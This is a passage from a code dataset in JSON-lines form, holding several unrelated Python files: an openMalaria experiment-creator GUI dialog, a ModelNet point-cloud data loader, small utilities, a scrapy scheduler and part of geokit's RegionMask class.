list()\r\n input_path, input_file_name = os.path.split(base_file_path)\r\n short_name, extension = os.path.splitext(input_file_name)\r\n scenario_infos = list()\r\n scenario_infos.append(short_name)\r\n scenario_infos.append(base_file_path)\r\n scenario_infos_list.append(scenario_infos)\r\n \r\n scenario_infos_list = translator.check_and_return_runnable_scenarios(scenario_infos_list, self.parent_window, 'Base File:')\r\n \r\n if len(scenario_infos_list)>0: \r\n self.base_file_path = scenario_infos_list[0][1]\r\n self.base_entry.set_text(self.base_file_path)\r\n \r\n '''\r\n add_sweep_tab:\r\n Adds a sweep tab (FileList object) if at least 1\r\n file with the extension xml is found in the sweep\r\n folder'''\r\n def add_sweep_tab(self, sweep_folder_path):\r\n if(os.path.isdir(sweep_folder_path)):\r\n files = os.listdir(sweep_folder_path)\r\n valid_files = list()\r\n for file in files:\r\n file_path = os.path.join(sweep_folder_path, file)\r\n if os.path.isfile(file_path):\r\n name_split = str.split(file, '.')\r\n extension = name_split[len(name_split)-1]\r\n if extension == 'xml':\r\n valid_files.append(file_path)\r\n \r\n fileList = None\r\n \r\n if len(valid_files) > 0:\r\n fileList = FileList(self.parent_window, True)\r\n fileList.addScenarios(valid_files,'sweep '+os.path.split(sweep_folder_path)[1] + ': ')\r\n \r\n if not fileList == None:\r\n path, name = os.path.split(sweep_folder_path)\r\n label = self.create_tab_label(name, fileList, sweep_folder_path)\r\n self.sweeps_notebook.insert_page(fileList, label)\r\n self.sweeps_paths.append(sweep_folder_path) \r\n \r\n \r\n \r\n '''\r\n create_tab_label:\r\n create a tab_label with an icon for closing the tab''' \r\n def create_tab_label(self, title, fileList, sweep_folder_path):\r\n box = gtk.HBox(False, 0)\r\n label = gtk.Label(title)\r\n box.pack_start(label)\r\n \r\n close_image = gtk.image_new_from_stock(gtk.STOCK_CLOSE, gtk.ICON_SIZE_MENU)\r\n image_w, image_h = gtk.icon_size_lookup(gtk.ICON_SIZE_MENU)\r\n\r\n close = gtk.Button()\r\n close.set_relief(gtk.RELIEF_NONE)\r\n close.set_focus_on_click(False)\r\n close.add(close_image)\r\n box.pack_start(close, False, False)\r\n \r\n style = gtk.RcStyle()\r\n style.xthickness = 0\r\n style.ythickness = 0\r\n close.modify_style(style)\r\n\r\n box.show_all()\r\n \r\n close.connect('clicked', self.removeSweep, fileList, sweep_folder_path)\r\n \r\n return box\r\n \r\n '''\r\n removeSweep:\r\n Removes a single sweep folder from the ExperimentCreatorDialog'''\r\n def removeSweep(self, sender, fileList, sweep_folder_path):\r\n page = self.sweeps_notebook.page_num(fileList)\r\n self.sweeps_notebook.remove_page(page)\r\n self.sweeps_paths.remove(sweep_folder_path)\r\n # Need to refresh the widget -- \r\n # This forces the widget to redraw itself.\r\n self.sweeps_notebook.queue_draw_area(0,0,-1,-1)\r\n if(self.sweeps_notebook.get_n_pages()==0):\r\n self.hide()\r\n \r\n '''\r\n choose_action:\r\n This function is called when \"response\" callback is triggered.\r\n If the \"response\" is ok (-3) then start the creation, else (cancel)\r\n stop''' \r\n def choose_action(self, widget, response_id):\r\n if response_id == gtk.RESPONSE_ACCEPT:\r\n self.create_experiment_files()\r\n else:\r\n self.destroy()\r\n \r\n '''\r\n closed_creator:\r\n This function is called when \"destroy\" callback is triggered.\r\n This function sets self.notebookFrame.creator_allready_open = False\r\n to allow the user to open a new experiment creator dialog''' \r\n def closed_creator(self, widget, data=None):\r\n self.notebookFrame.creator_allready_open = False\r\n \r\n '''\r\n create_experiment_files:\r\n Creates the input, output folders and the whole file structure for\r\n the experiment_creator.jar java application and then runs it''' \r\n def create_experiment_files(self):\r\n \r\n if self.base_file_path == None:\r\n error = 'Base file undefined. Please choose a base file.'\r\n CustomMessageDialogs.show_message_dialog(self, gtk.MESSAGE_ERROR, error)\r\n else:\r\n not_actual_scenario = False\r\n \r\n self.status_label.set_text('The system is currently creating the File Structure for the experiment creator, please wait...')\r\n \r\n experiment_name = self.name_entry.get_text()\r\n experiment_name_nodate = experiment_name\r\n \r\n if(len(experiment_name)==0):\r\n experiment_name_nodate = 'experiment'\r\n \r\n \r\n experiment_name += '_'+ time.strftime(\"%d_%b_%Y_%H%M%S\")\r\n \r\n if not os.path.exists(self.experiment_folder_entry.get_text()):\r\n os.mkdir(self.experiment_folder_entry.get_text())\r\n \r\n experiment_folder = os.path.join(self.experiment_folder_entry.get_text(), experiment_name)\r\n if not os.path.exists(experiment_folder):\r\n os.mkdir(experiment_folder)\r\n \r\n input_folder = os.path.join(experiment_folder, 'description')\r\n output_folder = os.path.join(experiment_folder, 'scenarios')\r\n os.mkdir(input_folder)\r\n os.mkdir(output_folder)\r\n \r\n if not self.is_using_right_schema_version(self.base_file_path):\r\n not_actual_scenario = True\r\n shutil.copy2(self.base_file_path, os.path.join(input_folder, 'base.xml'))\r\n shutil.copy2(os.path.join(PathsAndSchema.get_common_folder() ,'scenario_'+PathsAndSchema.get_actual_schema()+'.xsd'), input_folder)\r\n \r\n i=0\r\n while i < self.sweeps_notebook.get_n_pages():\r\n fileList = self.sweeps_notebook.get_nth_page(i)\r\n sweep = fileList.return_sweep_list()\r\n \r\n first_sweep_path = sweep[0][0]\r\n sweep_path, tail = os.path.split(first_sweep_path)\r\n head, sweep_name = os.path.split(sweep_path)\r\n \r\n new_sweep_path = os.path.join(input_folder, sweep_name)\r\n \r\n if os.path.exists(new_sweep_path):\r\n filenames = list()\r\n for filename in os.listdir(input_folder):\r\n filenames.append(filename)\r\n test_sweep_name = sweep_name\r\n i = 1\r\n \r\n while(filenames.count(test_sweep_name)>0):\r\n test_sweep_name = sweep_name + '_'+str(i)\r\n i = i + 1 \r\n \r\n new_sweep_path = os.path.join(input_folder, test_sweep_name)\r\n \r\n os.mkdir(new_sweep_path)\r\n \r\n k = 0\r\n while k< len(sweep[0]):\r\n if os.path.isfile(sweep[0][k]):\r\n if not self.is_using_right_schema_version(sweep[0][k]):\r\n not_actual_scenario = True\r\n shutil.copy2(sweep[0][k], new_sweep_path)\r\n \r\n if sweep[1][k]:\r\n path, name = os.path.split(sweep[0][k])\r\n os.rename(os.path.join(new_sweep_path, name), os.path.join(new_sweep_path, fileList.get_reference_type()+'.xml'))\r\n \r\n k+=1\r\n i+=1\r\n \r\n if not_actual_scenario:\r\n error = 'The scenario files are using another schema version than the supported one (schema vers.'+PathsAndSchema.get_actual_schema()+').'\r\n error += '\\nThe experiment creator will not be started.'\r\n error += '\\nPlease change the schema version.'\r\n CustomMessageDialogs.show_message_dialog(self, gtk.MESSAGE_ERROR, error)\r\n else:\r\n self.status_label.set_text(\"The experiment's files are now generated... Please wait...\")\r\n time.sleep(.2)\r\n experimentCreator = ExperimentCreatorRun()\r\n experimentCreator.start_experimentCreator(experiment_folder, self.mainFileList, experiment_name_nodate, self.get_seeds_nbr(), self.validate_checkbox.get_active())\r\n \r\n \r\n self.status_label.set_text('') \r\n self.destroy()\r\n \r\n '''\r\n cancel_creation:\r\n If button cancel is clicked, then the experiment_creator dialog \r\n is closed''' \r\n def cancel_creation(self, widget, data=None):\r\n self.destroy()\r\n \r\n \r\n '''\r\n is_using_right_schema_version:\r\n Checks if the scenario is using the actual schema version'''\r\n def is_using_right_schema_version(self, file_path):\r\n if os.path.exists(file_path) and os.path.isfile(file_path):\r\n src=open(file_path)\r\n file_string=src.read()\r\n src.close()\r\n \r\n return re.search('xsi:noNamespaceSchemaLocation=\"scenario_'+PathsAndSchema.get_actual_schema() +'.xsd\"', file_string) != None\r\n else: \r\n return False\r\n\r\n '''\r\n get_seeds_nbr(self):\r\n Returns the number of seeds set by the user. If an invalid \r\n number is set, then the system will use 1'''\r\n def get_seeds_nbr(self):\r\n seeds_nbr = 0\r\n try:\r\n seeds_nbr = int(self.seeds_entry.get_text())\r\n except exceptions.ValueError:\r\n seeds_nbr = 1\r\n return seeds_nbr","sub_path":"application_deployment/openMalariaTools/gui/ExperimentCreatorDialog.py","file_name":"ExperimentCreatorDialog.py","file_ext":"py","file_size_in_byte":23467,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"545479749","text":"import torch.utils.data as data\nimport os\nimport os.path\nimport torch\nimport numpy as np\nimport glob\nimport h5py\nimport sys\nfrom PIL import Image\nfrom torchvision import transforms\nBASE_DIR = os.path.dirname(os.path.abspath(__file__))\nsys.path.append(BASE_DIR)\nsys.path.append(os.path.join(BASE_DIR, 'models'))\nsys.path.append(os.path.join(BASE_DIR, 'utils'))\nsys.path.append(os.path.join(BASE_DIR, 'data_utils'))\nfrom data_utils import normalize_point_cloud, rotate_point_cloud, jitter_point_cloud, center_point_cloud, translate_pointcloud\ntest_transform = transforms.Compose([\n transforms.ToTensor()])\nclass ModelNetDataset_H5PY(data.Dataset):\n def __init__(self, filelist, num_point=1024, data_augmentation=False):\n self.num_point = num_point\n self.file_list = [item.strip() for item in open(filelist).readlines()]\n self.points_list = np.zeros((1, num_point, 3))\n self.labels_list = np.zeros((1,))\n self.data_augmentation = data_augmentation\n self.num_classes = 40\n for file in self.file_list:\n data, label = self.loadh5DataFile(file)\n self.points_list = np.concatenate(\n [self.points_list, data[:, :self.num_point, :]], axis=0)\n self.labels_list = np.concatenate([self.labels_list, label.ravel()], axis=0)\n\n self.points_list = self.points_list[1:]\n self.labels_list = self.labels_list[1:]\n assert len(self.points_list) == len(self.labels_list)\n print('Number of Objects: ', len(self.labels_list))\n\n @staticmethod\n def loadh5DataFile(PathtoFile):\n f = h5py.File(PathtoFile, 'r')\n return f['data'][:], f['label'][:]\n\n def __len__(self):\n return len(self.points_list)\n\n def __getitem__(self, index):\n point_set = np.copy(self.points_list[index][:, 0:3])\n point_label = self.labels_list[index].astype(np.int32)\n \n if self.data_augmentation:\n point_set = rotate_point_cloud(point_set)\n point_set = jitter_point_cloud(point_set)\n # point_set = jitter_point_cloud(point_set)\n # point_set = translate_pointcloud(point_set)\n\n return torch.from_numpy(point_set.astype(np.float32)), torch.from_numpy(np.array([point_label]).astype(np.int64))\n\nclass ModelNetDataset(data.Dataset):\n def __init__(self,\n root,\n npoints=1024,\n split='train',\n test_class='all',\n tsne=None,\n data_augmentation=True):\n self.npoints = npoints\n self.root = root\n self.split = split\n self.data_augmentation = data_augmentation\n self.cats = {}\n self.test_class = test_class\n self.tsne = tsne\n with open(os.path.join(self.root,'modelnet_id.txt')) as f:\n if self.tsne != None:\n self.id_cat = {}\n for line in f:\n line = line.split('\\t')\n idx = int(line[1])\n if idx in self.tsne:\n self.cats[line[0]] = idx\n self.id_cat[idx] = line[0]\n else:\n for line in f:\n line = line.split('\\t')\n self.cats[line[0]] = int(line[1])\n self.paths = []\n self.classes = dict(zip(sorted(self.cats), range(len(self.cats))))\n self.num_classes = len(self.cats)\n if self.test_class=='all':\n for cat in self.cats:\n self.paths +=glob.glob('%s/%s/%s/*'%(self.root,cat,self.split))\n else:\n self.paths +=glob.glob('%s/%s/%s/*'%(self.root,self.test_class,self.split))\n\n def __getitem__(self, index):\n fn = self.paths[index]\n cls = self.cats[fn.split('/')[-3]]\n point_set = np.loadtxt(fn)[:,[0,2,1]]\n # point_set[:,1] *=-1\n point_set = center_point_cloud(point_set)\n point_set = normalize_point_cloud(point_set)\n\n point_set = point_set[0:self.npoints, :]\n if self.data_augmentation:\n point_set = rotate_point_cloud(point_set)\n point_set = jitter_point_cloud(point_set)\n # # point_set = jitter_point_cloud(point_set)\n # point_set = translate_pointcloud(point_set)\n\n point_set = torch.from_numpy(point_set.astype(np.float32))\n cls = torch.from_numpy(np.array([cls]).astype(np.int64))\n return point_set, cls\n def __len__(self):\n return len(self.paths)\nclass ModelNetSSL_MVDataset(data.Dataset):\n def __init__(self,\n root,\n npoints=1024,\n split='train',\n data_augmentation=True):\n self.npoints = npoints\n self.root = root\n self.split = split\n self.data_augmentation = data_augmentation\n self.cats = {}\n idx = 0\n with open(os.path.join(self.root,'modelnet_id.txt')) as f:\n for line in f:\n line = line.split('\\t')\n self.cats[line[0]] = int(line[1])\n self.paths = []\n self.classes = dict(zip(sorted(self.cats), range(len(self.cats))))\n self.num_classes = len(self.cats)\n path_temp = []\n for cat in self.cats:\n self.paths +=glob.glob('%s/%s/%s/*'%(self.root, cat, self.split))\n def __getitem__(self, index):\n fn = self.paths[index]\n cls = self.cats[fn.split('/')[-3]]\n point_set = np.loadtxt(fn)[:,[0,2,1]]\n folder_mv = fn.replace('ModelNet40_blender_sampling_1024','ModelNet40_MV').replace('.txt','.off')\n list_image = []\n for i in range(12):\n fimg = '%s/view_%s.png'%(folder_mv, i)\n list_image.append(test_transform(Image.open(fimg)).unsqueeze(0))\n\n point_set = center_point_cloud(point_set)\n point_set = normalize_point_cloud(point_set)\n point_set = point_set[0:self.npoints, :]\n if self.data_augmentation:\n point_set = rotate_point_cloud(point_set)\n point_set = jitter_point_cloud(point_set)\n\n point_set = torch.from_numpy(point_set.astype(np.float32))\n cls = torch.from_numpy(np.array([cls]).astype(np.int64))\n return cls, point_set, torch.cat(list_image, dim=0)\n def __len__(self):\n return len(self.paths)\nif __name__=='__main__':\n # data = ModelNetDataset_H5PY('/home/ubuntu/modelnet40_ply_hdf5_2048/train.txt', data_augmentation=False)\n data = ModelNetDataset('/home/ubuntu/ModelNet40_blender_sampling_1024', data_augmentation=False)\n point, cls =data[9000]\n \n print(point, cls)","sub_path":"data_utils/ModelNetDataLoader.py","file_name":"ModelNetDataLoader.py","file_ext":"py","file_size_in_byte":6586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"289388525","text":"import keyword\n\ndef apply(fn, args):\n if isinstance(args, dict):\n return fn(**{\n (k+'_' if keyword.iskeyword(k) else k) : v for k, v in args.items()\n })\n elif isinstance(args, list):\n return fn(*args)\n else:\n return fn(args)\n","sub_path":"src/util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"508329007","text":"import os\r\nimport pickle\r\nimport torch\r\nimport glob\r\nimport numpy as np\r\nfrom PIL import Image\r\nfrom torchvision import transforms\r\nfrom sklearn.preprocessing import LabelEncoder\r\n\r\nclass LoadImages(object):\r\n def __init__(self):\r\n self.data = []\r\n\r\n def get_image_by_list(self, image_list, label_list):\r\n if len(image_list) != len(label_list):\r\n print(\"datas not match the labels\")\r\n return\r\n for i in range(len(image_list)):\r\n self.data.append({label_list[i]: Image.open(image_list[i])})\r\n\r\n def get_image_by_dict(self, image_dict):\r\n for i in image_dict:\r\n self.data.append({i: Image.open(image_dict[i])})\r\n\r\n def transform(self):\r\n out = []\r\n for i in self.data:\r\n for key in i:\r\n out.append({key: transforms.ToTensor()(i[key])})\r\n return out\r\n\r\nif __name__ == '__main__':\r\n current_path = os.path.dirname(os.path.abspath(__file__))\r\n label = []\r\n data = []\r\n\r\n cat_path = glob.glob(current_path + \"/data_set/cat/*.*\") # 匹配所有的符合条件的文件,并将其以list的形式返回\r\n for i in cat_path:\r\n label.append(\"cat\")\r\n test = Image.open(i)\r\n data.append(transforms.ToTensor()(Image.open(i)))\r\n\r\n others_path = glob.glob(current_path + \"/data_set/others/*.*\") # 匹配所有的符合条件的文件,并将其以list的形式返回\r\n for repeat in range(10):\r\n for i in others_path:\r\n label.append(\"others\")\r\n data.append(transforms.ToTensor()(Image.open(i).convert(\"RGB\")))\r\n\r\n with open(\"data_set/data_set.pkl\", \"wb\") as data_set:\r\n pickle.dump(label, data_set)\r\n pickle.dump(data, data_set)\r\n\r\n\r\n","sub_path":"data_preprocessing.py","file_name":"data_preprocessing.py","file_ext":"py","file_size_in_byte":1742,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"549124664","text":"class ReaderError(Exception):\n \"\"\"Base for all public exceptions.\"\"\"\n\n\nclass FeedError(ReaderError):\n \"\"\"A feed error occured.\"\"\"\n\n def __init__(self, url):\n super().__init__(url)\n\n #: The feed URL.\n self.url = url\n\n\nclass FeedExistsError(FeedError):\n \"\"\"Feed already exists.\"\"\"\n\n\nclass FeedNotFoundError(FeedError):\n \"\"\"Feed not found.\"\"\"\n\n\nclass ParseError(FeedError):\n \"\"\"An error occured while getting/parsing feed.\n\n The original exception should be chained to this one (e.__cause__).\n\n \"\"\"\n\n\nclass NotModified(FeedError):\n \"\"\"Feed not modified.\"\"\"\n\n\nclass EntryError(ReaderError):\n \"\"\"An entry error occured.\"\"\"\n\n def __init__(self, url, id):\n super().__init__(url, id)\n\n #: The feed URL.\n self.url = url\n\n #: The entry id.\n self.id = id\n\n\nclass EntryNotFoundError(EntryError):\n \"\"\"Entry not found.\"\"\"\n\n\nclass MetadataError(ReaderError):\n \"\"\"A feed metadata error occured.\"\"\"\n\n def __init__(self, url, key):\n super().__init__(url, key)\n\n #: The feed URL.\n self.url = url\n\n #: The metadata key.\n self.key = key\n\n\nclass MetadataNotFoundError(MetadataError):\n \"\"\"Feed metadata not found.\"\"\"\n\n\nclass StorageError(ReaderError):\n \"\"\"An exception was raised by the underlying storage.\n\n The original exception should be chained to this one (e.__cause__).\n\n \"\"\"\n","sub_path":"Practice/PythonApplication/env/Lib/site-packages/reader/core/exceptions.py","file_name":"exceptions.py","file_ext":"py","file_size_in_byte":1405,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"320513758","text":"from apscheduler.schedulers.blocking import BlockingScheduler\nfrom datetime import datetime\nfrom scrapy.cmdline import execute\n\ndef tick():\n\texecute(['scrapy','crawl','BTC'])\n\nif __name__=='__main__':\n\tscheduler=BlockingScheduler()\n\tscheduler.daemonic=False\n\tscheduler.add_job(tick,'cron',second=1)\n\ttry:\n\t\tscheduler.start()\n\texcept (KeyboardInterrupt,SystemExit):\n\t\tscheduler.shutdowm()\n\n","sub_path":"scray/BTC/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":389,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"11"} +{"seq_id":"561716042","text":"from .util import *\nfrom .srs import *\nfrom .geom import *\nfrom .raster import *\nfrom .vector import *\nfrom .extent import Extent\n\nfrom io import BytesIO\n\nMaskAndExtent = namedtuple(\"MaskAndExtent\", \"mask extent id\")\nclass RegionMask(object):\n \"\"\"The RegionMask object represents a given region and exposes methods allowing \n for easy manipulation of geospatial data around that region.\n\n RegionMask objects are defined by providing a polygon (either via a vector \n file, an ogr.Geometry, or a Well-Known-Text (WKT) string), a projection system\n to work in, and an extent and pixel resolution to create a matrix mask (i.e.\n boolean values) of.\n\n * The extent of the generated mask matrix is the tightest fit around the region \n in units of the pixel resolution. However, the extenT can be defined explcitly \n if desired\n * The region can be manipulated as a vector polygon via the \".geometry\" \n attribute, which exposes the geometry as an ogr.Geometry. To incoporate this \n into other vector-handeling libraries it is suggested to use the \n \".ExportToWkt()\" method available via OGR.\n * The region can be manipulated as a raster matrix via the \".mask\" attribute \n which exposes the mask as a boolean numpy.ndarray\n * Any raster source can be easily warped onto the region-mask's extent, \n projection, and resolution via the \".warp\" method\n * Any vector source can be rasterized onto the region-mask's extent, projection,\n and resolution via the \".rasterize\" method\n * The default mask set-up is defined by the constant members: DEFAULT_SRS, \n DEFAULT_RES, and DEFAULT_PAD\n\n Initializers:\n -------------\n * RegionMask(...) \n - This is not the preferred way\n\n * RegionMask.fromVector( ... )\n \n * RegionMask.fromVectorFeature( ... )\n \n * RegionMask.fromGeom( ... )\n \n * RegionMask.fromMask( ... ) \n \n * RegionMask.load( ... )\n - This function tries to determine which of the other initializers \n should be used based off the input\n \n \"\"\" \n\n DEFAULT_SRS = 'europe_m'\n DEFAULT_RES = 100\n DEFAULT_PAD = None\n\n def __init__(s, extent, pixelRes, mask=None, geom=None, attributes=None, **kwargs):\n \"\"\"The default constructor for RegionMask objects. Creates a RegionMask \n directly from a matrix mask and a given extent (and optionally a geometry). \n Pixel resolution is calculated in accordance with the shape of the mask \n mask and the provided extent\n\n * Generally one should use the '.load' or else one of the '.fromXXX'\n methods to create RegionMasks\n\n Parameters:\n -----------\n extent : Extent object\n The geospatial context of the region mask\n * The extent must fit the given pixel sizes\n * All computations using the RegionMask will be evaluated within this\n spatial context\n \n pixelRes : float or tuple\n The RegionMask's native pixel size(s)\n * If float : A pixel size to apply to both the X and Y dimension\n * If (float float) : An X-dimension and Y-dimension pixel size\n * All computations using the RegionMask will generate results in \n reference to these pixel sizes (i.e. either at this resolution or \n at some scaling of this resolution)\n\n mask : numpy-ndarray\n A mask over the context area defining which pixel as inside the region\n and which are outside\n * Must be a 2-Dimensional bool-matrix describing the region, where:\n - 0/False -> \"not in the region\"\n - 1/True -> \"Inside the region\"\n * Either a mask or a geometry must be given, but not both\n\n geom : ogr-Geomertry \n A geometric representation of the RegionMask's region\n * Either a mask or a geometry must be given, but not both\n\n attributes : dict\n Keyword attributes and values to carry along with the RegionMask\n\n \"\"\"\n # Check for bad input\n if mask is None and geom is None: raise GeoKitRegionMaskError(\"Either mask or geom should be defined\") \n if not kwargs.get(\"mask_plus_geom_is_okay\",False):\n if not mask is None and not geom is None: raise GeoKitRegionMaskError(\"mask and geom cannot be defined simultaneously\")\n\n # Set basic values\n s.extent = extent\n s.srs = extent.srs\n\n if s.srs is None:\n raise GeoKitRegionMaskError(\"Extent SRS cannot be None\")\n\n # Set Pixel Size)\n if not extent.fitsResolution(pixelRes):\n raise GeoKitRegionMaskError(\"The given extent does not fit the given pixelRes\")\n\n try:\n pixelWidth, pixelHeight = pixelRes\n except:\n pixelWidth, pixelHeight = pixelRes, pixelRes\n\n s.pixelWidth = abs(pixelWidth)\n s.pixelHeight = abs(pixelHeight)\n\n if( s.pixelHeight == s.pixelWidth ):\n s._pixelRes = s.pixelHeight\n else:\n s._pixelRes = None\n\n # set height and width\n ## It turns out that I can't set these values here, since sometimes gdal\n ## functions can add an extra row (due to float comparison issues?) when\n ## warping and rasterizing\n s.width = None #int(np.round((s.extent.xMax-s.extent.xMin)/s.pixelWidth))\n s.height = None #int(np.round((s.extent.yMax-s.extent.yMin)/s.pixelHeight))\n\n # Set mask\n s._mask = mask\n if not mask is None: # test the mask\n # test type\n if(mask.dtype != \"bool\" and mask.dtype != \"uint8\" ): \n raise GeoKitRegionMaskError(\"Mask must be bool type\")\n if(mask.dtype == \"uint8\"):\n mask = mask.astype(\"bool\")\n\n if not np.isclose(extent.xMin+pixelWidth*mask.shape[1], extent.xMax) or not np.isclose(extent.yMin+pixelHeight*mask.shape[0], extent.yMax):\n raise GeoKitRegionMaskError(\"Extent and pixels sizes do not correspond to mask shape\")\n\n # Set geometry\n if not geom is None: # test the geometry\n if not isinstance(geom, ogr.Geometry):\n raise GeoKitRegionMaskError(\"geom is not an ogr.Geometry object\")\n \n s._geometry = geom.Clone()\n gSRS = geom.GetSpatialReference()\n if gSRS is None:\n raise GeoKitRegionMaskError(\"geom does not have an srs\")\n\n if not gSRS.IsSame(s.srs): transform(s._geometry, toSRS=s.srs, fromSRS=gSRS)\n else:\n s._geometry = None\n\n # Set other containers\n s._vector = None\n s._vectorPath = None\n\n # set attributes\n s.attributes = {} if attributes is None else attributes\n\n @staticmethod\n def fromMask(extent, mask, attributes=None):\n \"\"\"Make a RegionMask directly from amask matrix and extent\n \n Note:\n -----\n Pixel sizes are calculated from the extent boundaries and mask dimensional\n sizes\n\n Parameters:\n -----------\n extent : Extent object\n The geospatial context of the region mask\n * The extent must fit the given pixel sizes\n * All computations using the RegionMask will be evaluated within this\n spatial context\n \n mask : numpy-ndarray\n A mask over the context area defining which pixel as inside the region\n and which are outside\n * Must be a 2-Dimensional bool-matrix describing the region, where:\n - 0/False -> \"not in the region\"\n - 1/True -> \"Inside the region\"\n\n attributes : dict\n Keyword attributes and values to carry along with the RegionMask\n\n Returns:\n --------\n RegionMask\n\n \"\"\"\n\n # get pixelWidth and pixelHeight\n pixelWidth = (extent.xMax-extent.xMin)/(mask.shape[1])\n pixelHeight = (extent.yMax-extent.yMin)/(mask.shape[0])\n\n return RegionMask(extent=extent, pixelRes=(pixelWidth, pixelHeight), mask=mask, attributes=attributes)\n\n @staticmethod\n def fromGeom(geom, pixelRes=DEFAULT_RES, srs=DEFAULT_SRS, extent=None, padExtent=DEFAULT_PAD, attributes=None, **k):\n \"\"\"Make a RasterMask from a given geometry\n\n Parameters:\n -----------\n geom : ogr-Geomertry or str\n A geometric representation of the RegionMask's region\n * If a string is given, geokit.geom.convertWKT(geom, srs) is called \n to convert it to an ogr.Geometry\n\n pixelRes : float or tuple\n The RegionMask's native pixel resolution(s)\n * If float : A pixel size to apply to both the X and Y dimension\n * If (float float) : An X-dimension and Y-dimension pixel size\n \n srs : Anything acceptable to geokit.srs.loadSRS()\n The srs context of the generated RegionMask object\n * This srs is superseded by the srs in an explicitly defined extent \n * The default srs EPSG3035 is only valid for a European context\n\n extent : Extent object\n The geospatial context of the generated region mask\n * The extent must fit the given pixel sizes\n \n padExtent : float; optional\n An amount by which to pad the extent before generating the RegionMask\n\n attributes : dict\n Keyword attributes and values to carry along with the RegionMask\n\n Returns:\n --------\n RegionMask\n\n \"\"\"\n srs = loadSRS(srs)\n # make sure we have a geometry with an srs\n if( isinstance(geom, str)):\n geom = convertWKT(geom, srs)\n\n geom = geom.Clone() # clone to make sure we're free of outside dependencies\n\n # set extent (if not given)\n if extent is None:\n extent = Extent.fromGeom(geom).castTo(srs).pad(padExtent).fit(pixelRes)\n else:\n if not extent.srs.IsSame(srs):\n raise GeoKitRegionMaskError(\"The given srs does not match the extent's srs\")\n #extent = extent.pad(padExtent)\n\n # make a RegionMask object\n return RegionMask(extent=extent, pixelRes=pixelRes, geom=geom, attributes=attributes)\n\n\n @staticmethod\n def fromVector(source, where=None, geom=None, pixelRes=DEFAULT_RES, srs=DEFAULT_SRS, extent=None, padExtent=DEFAULT_PAD, limitOne=True, **kwargs):\n \"\"\"Make a RasterMask from a given vector source\n \n Note:\n -----\n Be careful when creating a RegionMask over a large area (such as a country)!\n Using the default pixel size for a large area (such as a country) can \n easily consume your system's memory\n\n Parameters:\n -----------\n source : Anything acceptable by loadVector()\n The vector data source to read from\n\n where : str, int; optional\n If string -> An SQL-like where statement to apply to the source\n If int -> The feature's ID within the dataset\n * Feature attribute name do not need quotes\n * String values should be wrapped in 'single quotes'\n Example: If the source vector has a string attribute called \"ISO\" and \n a integer attribute called \"POP\", you could use....\n\n where = \"ISO='DEU' AND POP>1000\"\n\n geom : ogr.Geometry; optional\n The geometry to search with\n * All features are extracted which touch this geometry\n\n pixelRes : float or tuple\n The RegionMask's native pixel resolution(s)\n * If float : A pixel size to apply to both the X and Y dimension\n * If (float float) : An X-dimension and Y-dimension pixel size\n \n srs : Anything acceptable to geokit.srs.loadSRS()\n The srs context of the generated RegionMask object\n * This srs is superseded by the srs in an explicitly defined extent \n * The default srs EPSG3035 is only valid for a European context\n\n extent : Extent object\n The geospatial context of the generated region mask\n * The extent must fit the given pixel sizes\n * If not specified, the entire extent of the vector file is assumed\n \n padExtent : float; optional\n An amount by which to pad the extent before generating the RegionMask\n \n limitOne : bool; optional\n Whether or not to allow more than one feature to be extracted\n\n Returns:\n --------\n RegionMask\n\n \"\"\"\n # Get all geoms which fit the search criteria\n if isinstance(where, int): \n geom,attr = extractFeature(source=source, where=where, srs=srs)\n else:\n ftrs = list(extractFeatures(source=source, where=where, srs=srs, asPandas=False))\n \n if len(ftrs) ==0: raise GeoKitRegionMaskError(\"Zero features found\")\n elif len(ftrs) == 1:\n geom = ftrs[0].geom\n attr = ftrs[0].attr\n else:\n if limitOne: raise GeoKitRegionMaskError(\"Multiple fetures found. If you are okay with this, set 'limitOne' to False\")\n geom = flatten([f.geom for f in ftrs])\n attr = None\n\n # Done!\n return RegionMask.fromGeom(geom, extent=extent, pixelRes=pixelRes, attributes=attr, padExtent=padExtent, srs=srs, **kwargs)\n\n @staticmethod\n def load(region, **kwargs):\n \"\"\"Tries to initialize and return a RegionMask in the most appropriate way. \n\n Note:\n -----\n If 'region' input is...\n * Already a RegionMask, simply return it\n * A file path, use RegionMask.fromVector\n * An OGR Geometry object, assume is it to be loaded by RegionMask.fromGeom\n * A NumPy array, assume is it to be loaded by RegionMask.fromMask\n - An 'extent' input must also be given\n \n Parameters:\n -----------\n region : Can be RegionMask, str, ogr.Geometry, numpy.ndarray\n The shape defining the region over which to build the RegionMask\n * See the note above\n\n where : str, int; optional\n If string -> An SQL-like where statement to apply to the source\n If int -> The feature's ID within the dataset\n * Feature attribute name do not need quotes\n * String values should be wrapped in 'single quotes'\n Example: If the source vector has a string attribute called \"ISO\" and \n a integer attribute called \"POP\", you could use....\n\n where = \"ISO='DEU' AND POP>1000\"\n\n geom : ogr.Geometry; optional\n The geometry to search with\n * All features are extracted which touch this geometry\n\n pixelRes : float or tuple\n The RegionMask's native pixel resolution(s)\n * If float : A pixel size to apply to both the X and Y dimension\n * If (float float) : An X-dimension and Y-dimension pixel size\n \n srs : Anything acceptable to geokit.srs.loadSRS()\n The srs context of the generated RegionMask object\n * This srs is superseded by the srs in an explicitly defined extent \n * The default srs EPSG3035 is only valid for a European context\n\n extent : Extent object\n The geospatial context of the generated region mask\n * The extent must fit the given pixel sizes\n * If not specified, the entire extent of the vector file is assumed\n \n padExtent : float; optional\n An amount by which to pad the extent before generating the RegionMask\n\n \"\"\"\n if isinstance(region, RegionMask): return region\n elif isinstance( region, str): return RegionMask.fromVector(region, **kwargs)\n elif isinstance(region, ogr.Geometry): return RegionMask.fromGeom(region, **kwargs)\n elif isinstance(region, np.ndarray): return RegionMask.fromMask(region, **kwargs)\n else:\n raise GeoKitRegionMaskError(\"Could not understand region input\")\n\n\n @property\n def pixelRes(s):\n \"\"\"The RegionMask's pixel size. \n\n !!Only available when pixelWidth equals 